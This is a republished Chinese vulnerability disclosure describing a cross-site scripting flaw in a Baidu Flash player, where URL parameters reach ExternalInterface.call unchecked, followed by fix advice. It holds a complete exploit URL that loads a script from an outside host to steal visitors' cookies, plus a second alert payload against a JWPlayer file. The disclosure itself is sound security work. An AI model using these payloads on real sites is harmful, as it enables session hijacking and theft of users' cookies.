好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

某播放器代码编写未考虑安全问题导致跨站 [继续

漏洞 程序:http://mv.baidu.com/export/flashplayer.swf   漏洞代码:   1. 首先是FLASH后面的参数直接传递给了Parameters.getInstance().data   Parameters.getInstance().data = loaderInfo.parameters;   2. 然后   ExternalInterface.call(Parameters.getInstance().onPlayStart, _arg1); ExternalInterface.call(Parameters.getInstance().onPlayStop); ExternalInterface.call(Parameters.getInstance().onFileLoadedError);   这3处都是直接传入到call里做参数。   3. 继续看Parameters 类的代码   public function get onPlayStart():String{ return (_data["onPlayStart"]); }  www.2cto.com 4. 因此,我们可以构造以下恶意代码:?onPlayStart=function(){alert('xx')},一个实际利用代码是:   http://mv.baidu.com/export/flashplayer.swf?onFileLoadedError=alert&onPlayPause=alert&autoplay=true&vid=a962553478ba87b54e229f3e&onPlayStart=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest5.js%5C'%3E%3C%2Fscript%3E%22'%7D%29     5. 可得到cookies。 剩下的俺不多说了。 用户访问页面后,Cookies发送给第三方。     修复方案: 目前这种跨站,浏览器自己的保护措施起不到拦截作用。因此只要用户点了链接,就十分可能中招了。   1. 检查全站JWPlayer 删除或更换其它。 2. 你们自己这个播放器,修改 源码 即可。   其实么,这里应该将FLASH这种文件, 都单独放到一个不同的域里, 比如baiduswf.com, 这样即使FLASH有问题, 也不会有太大影响。   像http://www.baidu.com/search/zhidao/badminton/jwplayer/player.swf?debug=alert 这种第三方的播放器,不应该出现在主域名之下的。 作者 gainover

查看更多关于某播放器代码编写未考虑安全问题导致跨站 [继续的详细内容...

  阅读:41次